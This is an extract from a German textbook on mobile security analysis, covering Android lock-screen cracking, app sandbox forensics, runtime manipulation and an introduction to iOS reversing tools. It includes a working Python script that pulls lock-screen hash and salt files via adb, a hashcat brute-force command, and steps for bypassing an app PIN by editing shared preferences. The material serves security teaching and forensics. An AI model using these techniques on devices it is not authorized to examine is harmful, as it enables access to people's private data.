Abb. 4–7: Aufbau der Bildschirmsperre per Muster und unser Beispielmuster<br />

es möglich, in nur wenigen Sekunden den Klartext für einen gegebenen Hashwert<br />

zu erhalten.<br />

Das einzige Problem, das wir nun noch haben, ist der Zugriff auf die Datei,<br />

die diesen Hashwert beinhaltet. Dazu gibt es zwei mögliche Angriffswege:<br />

1. Mittels Root-Exploit: Sobald wir Root-Rechte auf dem Smartphone besitzen,<br />

können wir einfach zu der entsprechenden Datei im Dateisystem navigieren<br />

und sie auslesen.<br />

2. Mittels JTAG: Haben wir keinen Root-Zugriff auf das Smartphone, so können<br />

wir versuchen, mittels JTAG auf den Speicher zuzugreifen und die wichtigen<br />

Segmente auszulesen. Um den SHA1-Hashwert des Sperrmusters zu finden,<br />

suchen wir mittels JTAG nach einem 2048 Byte langen Abschnitt, der<br />

mit 20 Byte Zufallswerten beginnt, danach 2012 Byte mit Nullen aufweist<br />

und am Ende wieder 16 Byte Zufallswerte enthält. Finden wir einen solchen<br />

Block, so sind die ersten 20 Byte an Zufallswerten unser gesuchter Hashwert.<br />

Die so erhaltenen Hashwerte vergleichen wir einfach mit unserer Rainbow Table17<br />

und schon haben wir das Muster, das wir zum Entsperren des Smartphones<br />

eingeben müssen.<br />

17 Eine bereits erzeugte Rainbow Table für diesen Zweck findet man unter: https:<br />

//github.com/mspreitz/ADEL/blob/master/GestureRainbowTable.db


4.7 Spurensuche im Dateisystem 101<br />

Die Bildschirmsperre per PIN oder Passwort angreifen<br />

Im Wesentlichen ist der Angriff auf die Sperre per PIN oder Passwort identisch zu<br />

der zuvor beschriebenen Methode. Die wichtigen Unterschiede sollen aber trotz<br />

allem im Folgenden gezeigt werden.<br />

Android speichert die PIN bzw. das Passwort in einer Datei namens<br />

password.key im Verzeichnis /data/system/. Auch in diesem Fall werden die Eingaben<br />

mit SHA1 gehasht. Befolgt man die Vorgaben zur sicheren Erzeugung von<br />

Hashwerten, so sollte ein sogenanntes Salt eingefügt werden, um Angriffe mit<br />

vorberechneten Rainbow Tables zu verhindern. Dieses Salt wird an die Zahlenfolge<br />

angehängt und dann gemeinsam gehasht. Dies macht es deutlich schwerer,<br />

die Hashwerte nachzuberechnen, da man das Salt ebenfalls benötigt und dies im<br />

besten Fall bei jedem Gerät anders ist. Genau dieses Vorgehen wird bei Verwendung<br />

von PINs oder Passwörtern von Android umgesetzt.<br />

Das nötige Salt finden wir in der Datei /data/system/locksettings.db (bei<br />

älteren Smartphones liegt diese Datenbank noch unter /data/data/com.android<br />

.providers.settings/databases/settings.db) und können es durch folgende<br />

SQL-Abfrage auslesen: SELECT value FROM locksettings WHERE name=’lockscreen<br />

.password_salt’.<br />

Haben wir bereits Root-Zugriff auf das Smartphone, so können wir diese<br />

Schritte mithilfe des folgenden Python-Skripts automatisieren:<br />

import os, sys, subprocess, binascii, struct<br />

import sqlite3 as lite<br />

def get_sha1hash(backup_dir):<br />

# dumping the password/pin from the device<br />

print "Dumping PIN/Password hash ..."<br />

password = subprocess.Popen(['adb', 'pull', '/data/system/password.key',<br />

backup_dir],<br />

stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />

password.wait()<br />

# cutting the HASH within password.key<br />

sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40]<br />

print "HASH: \033[0;32m" + sha1hash + "\033[m"<br />

return sha1hash


102 4 Sicherheitsprobleme bei Android-Applikationen<br />

def get_salt(backup_dir):<br />

# dumping the system DB containing the SALT<br />

print "Dumping locksettings.db ..."<br />

saltdb = subprocess.Popen(['adb', 'pull',<br />

'/data/system/locksettings.db', backup_dir],<br />

stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />

saltdb.wait()<br />

saltdb2 = subprocess.Popen(['adb', 'pull',<br />

'/data/system/locksettings.db-wal', backup_dir],<br />

stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />

saltdb2.wait()<br />

saltdb3 = subprocess.Popen(['adb', 'pull',<br />

'/data/system/locksettings.db-shm', backup_dir],<br />

stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />

saltdb3.wait()<br />

# extract the SALT<br />

con = lite.connect(backup_dir + '/locksettings.db')<br />

cur = con.cursor()<br />

cur.execute("SELECT value FROM locksettings<br />

WHERE name='lockscreen.password_salt'")<br />

salt = cur.fetchone()[0]<br />

con.close()<br />

# convert SALT to Hex<br />

returnedsalt = binascii.hexlify(struct.pack('>q', int(salt) ))<br />

print "SALT: \033[0;32m" + returnedsalt + "\033[m"<br />

return returnedsalt<br />

def write_crack(salt, sha1hash, backup_dir):<br />

crack = open(backup_dir + '/crack.hash', 'a+')<br />

# write HASH and SALT to cracking file<br />

hash_salt = sha1hash + ':' + salt<br />

crack.write(hash_salt)<br />

crack.close()


4.7 Spurensuche im Dateisystem 103<br />

if __name__ == '__main__':<br />

# check if device is connected and adb is running as root<br />

if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).<br />

communicate(0)[0].split("\n")[0] == "unknown":<br />

print "no device connected - exiting..."<br />

sys.exit(2)<br />

# starting to create the output directory and the crack file used for<br />

hashcat<br />

backup_dir = sys.argv[1]<br />

try:<br />

os.stat(backup_dir)<br />

except:<br />

os.mkdir(backup_dir)<br />

sha1hash = get_sha1hash(backup_dir)<br />

salt = get_salt(backup_dir)<br />

write_crack(salt, sha1hash, backup_dir)<br />

print "crack.hash can now be used to feed hashcat"<br />

Codebeispiel 4–33: Automatisierter Angriff auf die PIN- bzw. Passwortsperre<br />

Die so erhaltene Datei crack.hash können wir nun in Hashcat laden und den<br />

Brute-Force-Angriff durch Eingabe des folgenden Befehls starten: hashcat -a 3<br />

-m 110 crack.hash -1 ?d ?1?1?1?1?1?1?1?1 (dieser Aufruf versucht, eine max.<br />

8-stellige PIN zu berechnen).<br />

Haben wir keinen Root-Zugriff, so können wir auch hier versuchen, die Daten<br />

per JTAG auszulesen. Um den Hashwert für die PIN bzw. das Passwort zu<br />

finden, suchen wir einen 2048 Byte langen Abschnitt, der folgende Eigenschaften<br />

aufweist:<br />

■<br />

■<br />

■<br />

72 Byte, die nur aus den Zeichen 0–9 und A–F bestehen,<br />

gefolgt von 1960 Byte mit Nullen,<br />

gefolgt von 16 Byte Zufallswerte.<br />

Die ersten 72 Byte sind die Hashwerte unserer PIN bzw. unseres Passworts in<br />

MD5 und SHA1. Nun benötigen wir noch das passende Salt. Dazu gehen wir wie<br />

folgt vor:


104 4 Sicherheitsprobleme bei Android-Applikationen<br />

■<br />

■<br />

■<br />

■<br />

Im Speicher des Smartphones suchen wir nach dem String lockscreen<br />

.password_salt.<br />

Das Byte direkt vor diesem String muss im Bereich 0x0F und 0x35 liegen und<br />

beschreibt dabei die Länge des abgelegten Hashwertes.<br />

Ein weiteres Byte davor muss das Byte 0x3D zu finden sein.<br />

Direkt davor muss ein Byte mit Nullwerten stehen.<br />

Trifft all dies zu, so haben wir das Salt gefunden und können den Brute-Force-<br />

Angriff starten. Abbildung 4–8 zeigt nochmals, wie der beschriebene Aufbau des<br />

gesuchten Abschnittes im Dateisystemabbild auszusehen hat.<br />

Abb. 4–8: Aufbau des Speicherabschnittes mit dem Salt für die Bildschirmsperre<br />

4.7.3 Nach interessanten Daten im Dateisystem suchen<br />

Nachdem nun die Verschlüsselung des Dateisystems geknackt werden kann und<br />

auch eine eventuell vorhandene Bildschirmsperre nicht mehr als Hindernis angesehen<br />

werden muss, kommen wir nun an den spannenden Punkt: Wo finden sich<br />

interessante Daten im Dateisystem?<br />

Bei Geräten mit Android als Betriebssystem gibt es im Wesentlichen drei Stellen,<br />

an denen man die interessanten Daten der installierten Applikationen finden<br />

kann:<br />

1. Die installierten Applikationen selbst befinden sich unter /data/apps/.<br />

2. Datenbanken und Dokumente, die durch die Applikation bearbeitet und verwaltet<br />

werden, befinden sich in /data/data/.<br />

3. Und natürlich die SD-Karte, da hierauf jede Applikation Zugriff erhalten<br />

kann, sobald sie die entsprechende Berechtigung bei der Installation anfordert.<br />

Die installierten Applikationen und deren Pakete, die unter /data/apps/ zu finden<br />

sind, können von dort auf den Analyserechner mittels adb pull /data/apps/<br />

übertragen werden. Sobald sie auf dem eigenen Rechner sind,<br />

können diese – wie in Kapitel 3 beschrieben – dekompiliert und analysiert werden.


4.7 Spurensuche im Dateisystem 105<br />

Für dieses Kapitel jedoch von deutlich höherem Interesse sind die Bereiche, in<br />

denen die Applikationen ihre eigenen Daten speichern und verwalten: /data/data/<br />

sowie die SD-Karte. Von besonderem Interesse sind hier die Datenbanken<br />

der Applikationen und das Verzeichnis namens shared_preferences, die<br />

wir im Folgenden uns näher ansehen werden.<br />

Applikationsdatenbanken<br />

Eine der wichtigsten Orte, an denen Applikationen ihre Daten speichern, sind die<br />

SQLite-Datenbanken im Verzeichnis /data/data//databases/. In diesen<br />

Datenbanken findet man neben Nutzer- und Applikationsdaten auch sehr<br />

häufig Konfigurationsdaten wie z. B. Serveradressen, Crypto- und API-Schlüssel<br />

oder Hinweise darauf, wo weitere Dateien abgelegt sind.<br />

Im Rahmen eines Penetrationstests einer Android-Applikation gehört es zu<br />

einem der ersten Schritte, sich die Datenbanken der Applikation genau anzusehen.<br />

Dazu ist es am einfachsten, sich mithilfe von adb pull die entsprechenden<br />

Dateien auf den lokalen Analyserechner zu kopieren und dort mit Tools wie dem<br />

SQLiteBrowser18 oder per Kommandozeilenprogramm (z. B. sqlite3) zu betrachten.<br />

Der Vorteil der grafischen Tools liegt darin, dass man sehr schnell den Aufbau<br />

der Datenbank und aller vordefinierten Views erkennt (wie man am Beispiel einer<br />

Applikationsdatenbank in Abbildung 4–9 sehen kann).<br />

Abb. 4–9: Beispiel einer Applikationsdatenbank, die mit dem SQLiteBrowser geöffnet wurde<br />

Shared Preferences<br />

Die Shared Preferences sind im eigentlichen Sinne XML-Dateien, die Key-Value-<br />

Paare speichern können. Diese Dateien dienen dazu, eine kleine Anzahl an solchen<br />

Paaren außerhalb von Datenbanken und mit einer speziellen API zu sichern.<br />

18 SQLiteBrowser: https://github.com/sqlitebrowser/sqlitebrowser/releases


106 4 Sicherheitsprobleme bei Android-Applikationen<br />

Wichtig dabei ist, dass es diese Dateien als private und shared gibt und diese Eigenschaft<br />

vom Applikationsentwickler festgelegt wird. Sobald eine solche Datei<br />

als Eigenschaft shared besitzt, kann jede Applikation darauf zugreifen, die den<br />

Dateinamen kennen – ohne dafür eine spezielle Berechtigung zu benötigen. Doch<br />

selbst mit der Eigenschaft private sollte man darauf achten, wie man sensible<br />

Daten hier ablegt, denn wie auch schon bei den Datenbanken gilt auch hierbei,<br />

dass Sicherheitsanalysten dieses Verzeichnis als Erstes ins Auge fassen und die<br />

Key-Value-Paare genau analysieren.<br />

Sehr oft findet man an dieser Stelle wichtige Daten wie Schlüsselmaterial für<br />

die Verschlüsselung der Datenbankinhalte, Passwörter für Nutzer der Applikation<br />

oder URLs und IP-Adressen der Backend-Systeme.<br />

Ebenso wichtig wie der eigentliche Inhalt dieser Dateien ist aber auch der Umstand,<br />

wie eine Applikation reagiert, wenn Inhalte nicht mehr vorhanden sind.<br />

Oft werden an dieser Stelle Eigenschaften von zugewiesenen Policies oder sogar<br />

die Applikations-PIN gespeichert. Ändert man diese, oder löscht die entsprechenden<br />

Werte, so ist es wichtig, dass die Applikation keine Geheimnisse preisgibt.<br />

Das im Folgenden gezeigte Beispiel für eine Applikation weist Schwachstellen<br />

auf, wodurch man durch einfache Manipulation dieser Dateien die Features und<br />

die versprochene Sicherheit der Applikation beeinflussen kann.<br />

Bei der Applikation handelt es sich um eine File-Sharing-Applikation für Unternehmen.<br />

Eine Applikation die zusammen mit dem Backend eine alternative<br />

Variante von DropBox für Unternehmen verspricht. Hierbei ist es für das Unternehmen,<br />

das diese Applikation einsetzen möchte, möglich, eine zentrale Policy<br />

vorzugeben, die auf alle Endgeräte übertragen wird. Damit kann man u. a. bestimmen,<br />

ob der Nutzer Dateien in andere Applikationen exportieren kann und<br />

ob eine Applikations-PIN nötig ist (wie in Abbildung 4–10 gezeigt). Des Weiteren<br />

kann hier auch festgelegt werden, nach wie vielen Fehlversuchen die Applikation<br />

alle verwalteten Dateien löschen oder einfach nur den Nutzer aussperren soll.<br />

All dies verwaltet die Applikation innerhalb der Shared Preferences ohne dabei<br />

den konformen Zustand des Smartphones zu prüfen. Dieser Punkt wird ihr<br />

dann auch zum Verhängnis.<br />

<br />

<br />

....<br />

<br />

<br />

<br />


4.7 Spurensuche im Dateisystem 107<br />

Abb. 4–10: Abfrage der Applikations-PIN, die vor unberechtigtem Zugriff schützen soll<br />

<br />

<br />

....<br />

<br />

Codebeispiel 4–34: Shared Preference mit der Policy, die die Applikation zugewiesen bekommen<br />

hat<br />

Codebeispiel 4–34 zeigt eine Policy, wie sie auf dem Endgerät liegt. Durch einfaches<br />

Ändern der Werte können wir hier zulassen, dass der Nutzer (oder ein<br />

Angreifer, der Wissen über die Applikations-PIN hat) Daten aus dem Container<br />

extrahieren kann.<br />

<br />

<br />

ICPNS******<br />

<br />

<br />

Codebeispiel 4–35: Shared Preference mit der verschlüsselten Applikations-PIN<br />

Codebeispiel 4–35 zeigt eine weitere XML-Datei innerhalb der Shared Preferences,<br />

deren Inhalt noch gravierender ist. Bei dem zuvor gezeigten Angriff musste<br />

der Angreifer noch die Applikations-PIN wissen, um Daten exfiltrieren zu können.<br />

Diese Datei speichert einen verschlüsselten Wert dieser PIN und die Anzahl


108 4 Sicherheitsprobleme bei Android-Applikationen<br />

der falschen Eingaben. Nun gibt es drei Möglichkeiten, wie man vorgehen kann,<br />

um diesen Schutz der Applikation zu umgehen:<br />

1. Durch Reversing versuchen herauszubekommen, wie der Wert verschlüsselt<br />

wird und diese Verschlüsselung umkehren.<br />

2. Einen Brute-Force-Angriff auf die Applikation starten und nach jedem ungültigen<br />

Versuch die count_of_performed_attempts wieder auf 0 setzen.<br />

3. Die Zeile aus der XML-Datei löschen und schauen, was die Applikation beim<br />

nächsten Neustart macht.<br />

Neben dem Versuch, einfach mal die PIN der Bildschirmsperre als Eingabe zu<br />

verwenden, die wir zuvor herausbekommen haben, ist der einfachste Weg, um<br />

den Schutz der Applikation herumzukommen, das Löschen der entsprechenden<br />

Zeile aus der XML-Datei. Nachdem wir nun diese Zeile gelöscht und die Applikation<br />

erneut gestartet haben, sehen wir, dass wir aufgefordert werden, eine neue<br />

PIN zu vergeben.<br />

Durch ein Reversing ist bereits aufgefallen, dass die lokal verwalteten Daten<br />

zwar verschlüsselt sind, aber die Verschlüsselung nicht von der Applikations-PIN<br />

abhängig ist, was generell eine schlechte Idee ist. Sind wir als Angreifer nun also<br />

in physischem Besitz des Smartphones, können wir die PIN auf einen uns bekannten<br />

Wert ändern, danach noch die Policy anpassen und schlussendlich alle Daten,<br />

auf die der Nutzer Zugriff hat, aus dem als sicher versprochenen Container extrahieren.<br />

Weitere Dateien innerhalb der Sandbox<br />

Wie man aus der Forensik weiß, sollte man ein Auge auf alle Dateien haben,<br />

auf die die Applikation Zugriff hat oder die durch sie verwaltet werden. Ein Beispiel<br />

dafür, dass eine solche erweiterte Suche durchaus sinnvoll ist, zeigt uns eine<br />

sehr bekannte Applikation zur Synchronisation von PIM-Daten im Unternehmen.<br />

Sie verspricht eine sichere Synchronisation und Verwaltung von PIM-Daten auf<br />

einem Android-Smartphone (siehe dazu auch Abbildung 4–11). Dabei schützt<br />

sie diese Daten durch Verschlüsselung und verwendet dazu im Vergleich zu der<br />

zuvor gezeigten Applikation die PIN, die der Nutzer vergeben muss. Um hier<br />

als Angreifer oder Sicherheitsanalyst an die Daten zu kommen, muss also diese<br />

Applikations-PIN herausgefunden werden.<br />

Schaut man sich innerhalb der Sandbox (/data/data/ com.honey.xxx/) etwas<br />

genauer um, so sieht man eine ganze Menge an Dateien, die unbekannte Dateiendungen<br />

haben und uns dadurch noch neugieriger machen. Ein Beispiel für<br />

eine solche Datei ist die Datei mit dem Namen windroid.db.sc (siehe Codebeispiel<br />

4–36).


4.7 Spurensuche im Dateisystem 109<br />

Abb. 4–11: PIM-Applikation: Versprechen des Herstellers und PIN-Abfrage<br />

.......<br />

ASVersions=Versions:Microsoft-IIS/7.5,2.0,2.1,2.5,12.0,12.1,14.0,14.1<br />

AccountID=Exchange Mail<br />

.......<br />

Domain=#EFT1.7#I0VGVDE*****<br />

FailedLoginAttemptCount=0<br />

FolderSyncKey=1<br />

LastPINPromptTime=1421767231987<br />

LastPinChangeTime=1421766891980<br />

LastPolicyGet=0<br />

.......<br />

PasswordHistory=14141414<br />

PasswordHistory=#EFT1.7#I0VGVDE*****<br />

PasswordRecoveryEnabled=false<br />

PolicyKey=814518012<br />

.......<br />

ServerName=#EFT1.7#I0VGVDE*****<br />

UnapprovedInROMApplicationList=<br />

UserID=#EFT1.7#I0VGVDE*****<br />

.......<br />

Codebeispiel 4–36: windroid.db.sc mit der Applikations-PIN im Klartext (siehe Zeile 12)


110 4 Sicherheitsprobleme bei Android-Applikationen<br />

In Zeile 12 (PasswordHistory=14141414) sehen wir einen Wert mit dem Namen<br />

PasswordHistory. Dieser Wert lässt darauf schließen, dass es sich hier u. U. um<br />

eine ältere PIN handelt. Für etwas Verwunderung sorgt jedoch, dass die direkt<br />

darauf folgende Zeile denselben Wert nochmals besitzt, diesmal aber mit einem<br />

verschlüsselten Inhalt.<br />

Durch einfachen Test der Zeichenfolge 14141414 stellt man fest, dass dies<br />

kein älterer Wert ist, sondern die aktuelle Applikations-PIN, also das einzige Geheimnis,<br />

das zur Verschlüsselung verwendet wird, und zugleich auch der einzige<br />

Schutz des Containers vor unberechtigtem Zugriff. Hat der Sicherheitsanalyst<br />

diesen Wert, so kann er sowohl über die Oberfläche wie auch durch manuelles<br />

Entschlüsseln der Datenbanken auf alle sensiblen Daten innerhalb des Containers<br />

zugreifen und auch E-Mails im Namen des eingerichteten Nutzers versenden.<br />

4.8 Android-Applikationen zur Laufzeit<br />

manipulieren<br />

Beim Analysieren von Applikationen und deren Funktionen ist neben dem Reversing<br />

das Debugging bzw. das Manipulieren von Variablen zur Laufzeit ein<br />

wichtiger Punkt. Durch ein spezielles Tool (meist Debugger genannt) ist es dem<br />

Analysten möglich, Applikationen zur Laufzeit zu beobachten und so Programmabläufe<br />

besser verstehen und auch den Fluss von Informationen nachvollziehen<br />

zu können. Passende Tools für diesen Zweck gibt es für Android in großer Zahl.<br />

Aus Erfahrungen ist neben der professionellen Version mit IDA Pro19 vor allem<br />

Codeinspect20 das Tool der Wahl, da es deutlich einfacher zu verwenden ist als<br />

IDA und im Bereich Android durch diverse Vorteile punkten kann. Aber auch<br />

der eingebaute Debugger in Eclipse oder dem Android Studio kann hier – mit<br />

Abstrichen – verwendet werden.<br />

Bei Android kann der Applikationsentwickler das Hooken durch einen Debugger<br />

im Android-Manifest zu verhindern versuchen. Dies geschieht durch Setzen<br />

des xml-Tags android:debuggable="false". Sollte dieses Tag im Android-<br />

Manifest gesetzt sein, so gibt es nur zwei Möglichkeiten, dies zu umgehen:<br />

1. Vor dem eigentlichen Debugging wird die Applikation wie zuvor gezeigt dekompiliert,<br />

das Flag überschrieben und wieder eine lauffähige Applikation<br />

zusammengebaut.<br />

2. Es wird ein Hooker verwendet (wie z. B. das XPosed Framework mit dem<br />

BuildProp Enhancer), der zur Laufzeit dieses Flag von false auf true setzt.<br />

Im weiteren Verlauf dieses Abschnittes werden wir uns ein paar einfache Beispiele<br />

für das Debuggen und Manipulieren von Android-Applikationen mittels Codein-<br />

19 IDA Pro: https://www.hex-rays.com/products/ida/<br />

20 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/


4.8 Android-Applikationen zur Laufzeit manipulieren 111<br />

spect ansehen. Die statische Codeanalyse mittels Codeinspect aus Abschnitt 3.4.7<br />

dient uns hier auch wieder als Grundlage.<br />

Als Beispiel verwenden wir die Malware-Applikation, die wir schon vom Reversing<br />

kennen. Von ihr wissen wir bereits, dass sie je nach Land, aus dem die<br />

SIM-Karte kommt, eine andere Nachricht versendet. Dies versuchen wir nun,<br />

auch mit Codeinspect zu verifizieren. Dazu importieren wir die apk-Datei und<br />

setzen einen Breakpoint auf Zeile 34 (in Zeile 33 wurde auf getSimCountryIso()<br />

zugegriffen und das Ergebnis in die Variable String geschrieben) in der Datei<br />

MagicSMSActivity.jimple (siehe Abbildung 4–12).<br />

Abb. 4–12: Setzen des ersten Breakpoints in Codeinspect<br />

Zusätzlich setzen wir noch einen zweiten Breakpoint auf die Zeile 41 (hier wird<br />

die erste SMS versendet). In dieser Zeile können wir verifizieren, an welche Nummer<br />

welcher Text gesendet wird und somit feststellen, ob unsere Änderung von<br />

der Applikation übernommen wurde.<br />

Im Anschluss starten wir die Ausführung der Applikation im Emulator (siehe<br />

Abbildung 4–13).<br />

Abb. 4–13: Starten der Ausführung der Malware in Codeinspect<br />

Sobald nun der Emulator gestartet und der Debugger erfolgreich mit der Applikation<br />

verbunden ist, startet die Ausführung. In dem Moment, wenn die Applikation<br />

dabei ist, die Zeile auszuführen, die wir mit dem Breakpoint markiert haben,<br />

wird sie angehalten – die Ausführung also in den Pause-Modus gesetzt – und wir


112 4 Sicherheitsprobleme bei Android-Applikationen<br />

Abb. 4–14: Variablen und deren Wert bei Erreichen des ersten Breakpoints<br />

sehen in Codeinspect die Variablen, die zu diesem Zeitpunkt im Speicher liegen<br />

(siehe Abbildung 4–14).<br />

Da wir schon etwas über die Applikation herausgefunden haben, wissen wir,<br />

dass der entscheidende Punkt die Rückgabe des TelephonyManager und somit der<br />

Rückgabewert von getSimCountryIso() ist. Unser Emulator hat hier us als aktuellen<br />

Rückgabewert. Diesen ändern wir nun auf de, um zu sehen, wie dies die<br />

Ausführung der Malware verändert. Um diese Änderung erfolgreich durchzuführen,<br />

müssen wir nur auf den entsprechenden Wert mit der rechten Maustaste<br />

klicken und dann Change Value auswählen. In dem nun erscheinenden Fenster<br />

können wir us löschen und manuell de eintippen. Dies ist wichtig, da Codeinspect<br />

unsere Eingabe auf diese Weise direkt wieder in ein gültiges Objekt umwandelt,<br />

das die Applikation im kommenden Schritt erwartet.<br />

Im Anschluss klicken wir nun in der obersten Zeile auf Resume (F8), um die<br />

Applikation weiter ausführen zu lassen. Ab diesem Moment verwendet die Variable<br />

den von uns vergebenen Wert und nicht mehr den eigentlichen Rückgabewert<br />

der Funktion getSimCountryIso().<br />

Sobald der zweite Breakpoint erreicht wird, sehen wir in den Variablen nun<br />

auch das Ergebnis: Es werden die Werte verwendet, die einer deutschen SIM-<br />

Karte entsprechen (siehe Abbildung 4–15), und nicht die für einen Emulator typischen<br />

Werte.<br />

Abb. 4–15: Variablen und deren Wert bei Erreichen des zweiten Breakpoints


4.9 Zusammenfassung 113<br />

Abb. 4–16: Android-Warnung vor und nach der Manipulation<br />

Abbildung 4–16 zeigt entsprechend dazu auch die Warnmeldung der Premium-<br />

SMS mit den auf die Änderung resultierenden Werten.<br />

Dieses Beispiel zeigt anhand einer recht simplen Malware, wie mächtig Werkzeuge<br />

wie Codeinspect sind, um Applikationen zu manipulieren oder um Sicherheitsabfragen<br />

des Entwicklers zu umgehen, selbst wenn der Code der Applikation<br />

deutlich komplexer oder gar verschleiert ist.<br />

Eine weitere nützliche Funktion von Codeinspect ist auch die Steuerung wichtiger<br />

Komponenten des Emulators. Diese Steuerung findet man unter DDMS →<br />

Emulator Control. Hier kann man über die grafische Oberfläche den Eingang von<br />

SMS-Nachrichten, Telefonanrufen oder auch die GPS-Daten des Endgerätes simulieren.<br />

Hierdurch ist es möglich, Nutzerinteraktionen der Applikation vorzugaukeln.<br />

Dies ist besonders dann von Interesse, wenn wir in der statischen Analyse<br />

festgestellt haben, dass die Applikation auf den Eingang einer bestimmten<br />

SMS-Nachricht wartet. Diese Nachricht können wir nun zur Laufzeit über die<br />

Oberfläche auslösen und genau beobachten, was die Applikation im Anschluss<br />

durchführt.<br />

Ebenso kann man eigenen Java- oder Jimple-Code in die Applikation einfügen,<br />

der zur Laufzeit kompiliert wird. So kann man die Applikation manipulieren<br />

und neue Funktionen hinzufügen. Hierdurch kann man z. B. erreichen, dass die<br />

Applikation ihre Crypto-Schlüssel in eine Textdatei zur späteren Analyse wegschreibt<br />

oder zusätzliche Logausgaben erzeugt.<br />

4.9 Zusammenfassung<br />

In diesem Kapitel haben wir gesehen, welche Schwachstellen eine Android-<br />

Applikation potenziell haben kann und wie man diese entdecken und schließlich<br />

auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung<br />

von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie<br />

exportierte Activities und SQL-Injection.<br />

Wie man im vorletzten Abschnitt dieses Kapitels sehr schön sehen kann, ist<br />

eine forensische Analyse der Dateien innerhalb der Sandboxen ebenso wichtig wie


114 4 Sicherheitsprobleme bei Android-Applikationen<br />

die zuvor gezeigten Angriffe auf den Code der Applikation. Hier ist auch klar geworden,<br />

wieso es hilfreich sein kann, die PIN der Vollverschlüsselung auszulesen:<br />

Diese PIN kann mit hoher Wahrscheinlichkeit auch bei weiteren Applikationen<br />

zum Entsperren verwendet werden und so eine Menge Arbeit für ein erneutes<br />

Reversing sparen.<br />

Im letzten Abschnitt wurde noch gezeigt, wie man Applikationen zur Laufzeit<br />

manipulieren kann, um mehr über ihre Funktion zu erfahren oder um Abfragen<br />

oder Prüfroutinen der Applikationen zu umgehen.


115<br />

5 Reversing von iOS-Applikationen<br />

Nachdem in Abschnitt 1.2 bereits die Grundstruktur von iOS und dessen Applikationen<br />

beschrieben wurde, wollen wir nun darauf eingehen, wie man verdächtige<br />

Applikationen untersuchen kann. Dabei werden wir in diesem Kapitel mit der<br />

manuellen Analyse mithilfe bekannter Tools wie beispielsweise dumdecrypted,<br />

class-dump und IDA Pro beginnen und so demonstrieren, wie der Sicherheitsanalyst<br />

möglichst an eine interpretierbare Version des Maschinencodes kommt.<br />

Dies ist nötig, um genau nachvollziehen zu können, wie eine Applikation funktioniert<br />

und auf welche Ressourcen sie zugreift. Somit bildet dieses Kapitel die<br />

Basis für die in Kapitel 6 gezeigte Schwachstellensuche.<br />

5.1 Vorgehensweisen beim Reversing von<br />

iOS-Applikationen<br />

Bei der statischen Analyse einer iOS-Applikation gibt es ein deutlich einfacheres<br />

Muster als bei Android, nach dem man vorgehen kann, um erste Anhaltspunkte<br />

über die Funktionen einer Applikation herauszufinden:<br />

1. Beschaffen der zu untersuchenden Applikation<br />

2. Analysieren des Codes<br />

Diesem Muster wollen wir nun auch folgen und anhand einiger Beispiel-Applikationen<br />

eine statische Analyse durchführen. Lassen Sie sich aber nicht davon täuschen,<br />

dass es auf den ersten Blick einfacher aussieht als bei Android, die Schwierigkeiten<br />

kommen mit den Details und Unterschritten der hier aufgelisteten zwei<br />

Punkte.<br />

5.2 Wichtige Tools und Helfer<br />

Bevor wir mit dem eigentlichen Reversen von iOS-Applikationen beginnen, sehen<br />

wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse bzw.<br />

der Interaktion mit dem iOS-Gerät hilfreich sind und im weiteren Verlauf des<br />

Kapitels immer wieder auftauchen werden. Zu diesen Tools gehören Cydia, SSH<br />

und libimobiledevice.


116 5 Reversing von iOS-Applikationen<br />

5.2.1 Cydia<br />

Cydia1 ist ein alternativer Marktplatz für Applikationen und Erweiterungen, die<br />

speziell für jailbroken iOS-Geräte gedacht sind. Damit sind iOS-Geräte gemeint,<br />

deren Betriebssystem modifiziert wurde, um Nutzungsbeschränkungen zu entfernen<br />

(auch Jailbreak genannt). Dieser von Jay Freeman (auch bekannt unter dem<br />

Alias saurik) entwickelte Marktplatz kann nicht über Apple iTunes oder den Apple<br />

Store bezogen werden, sondern wird zusammen mit den bekannten Jailbreak-<br />

Tools von Pangu2 oder TaiG3 verteilt.<br />

Dieser Marktplatz ist für unsere Arbeit enorm wichtig, da wir hier viele der<br />

notwendigen Tools und Applikationen bekommen, die wir im weiteren Verlauf<br />

dieses und des folgenden Kapitels benötigen. Im Wesentlichen ist der Marktplatz<br />

eine eigene Applikation, die eine grafische Oberfläche für den aus UNIX bekannten<br />

Paketmanager APT bietet. Pakete, die dort angeboten werden, liegen im deb-<br />

Format vor und können von einer Vielzahl an frei wählbaren Quellen eingebunden<br />

und installiert werden.<br />

Das Hinzufügen von weiteren Paketquellen funktioniert wie in Abbildung 5–1<br />

beschrieben. Wir werden im weiteren Verlauf dieses Buches des Öfteren Gebrauch<br />

von dieser Funktion machen und die entsprechenden Quellen erwähnen.<br />

5.2.2 SSH und SCP<br />

Um mit dem iOS-Gerät zu interagieren, ist es notwendig, sich per SSH (Secure<br />

Shell) auf das Gerät zu verbinden (ähnlich wie wir es im Rahmen von Android<br />

mit adb vorgenommen haben). Dazu müssen wir in Cydia das Paket OpenSSH<br />

installieren (siehe Abbildung 5–2).<br />

Im restlichen Kapitel werden wir lediglich die folgenden beiden Befehle aus<br />

dem Paket OpenSSH verwenden:<br />

ssh: Mit diesem Befehl können wir uns auf das Gerät verbinden und dort eine<br />

Kommandozeile erhalten. Dies geschieht mittels:<br />

ssh root@<br />

scp: Mit diesem Befehl können wir Dateien zwischen dem iOS-Gerät und dem<br />

Analyserechner austauschen. Der Upload von Dateien auf das iOS-Gerät<br />

funktioniert dabei folgendermaßen:<br />

scp root@:<br />

<br />

1 Cydia: https://cydia.saurik.com/<br />

2 Pangu Jailbreak: http://en.pangu.io/<br />

3 TaiG Jailbreak: http://www.taig.com/en/


5.2 Wichtige Tools und Helfer 117<br />

Abb. 5–1: Hinzufügen von eigenen Paketquellen in Cydia


118 5 Reversing von iOS-Applikationen<br />

Abb. 5–2: OpenSSH-Paket in Cydia<br />

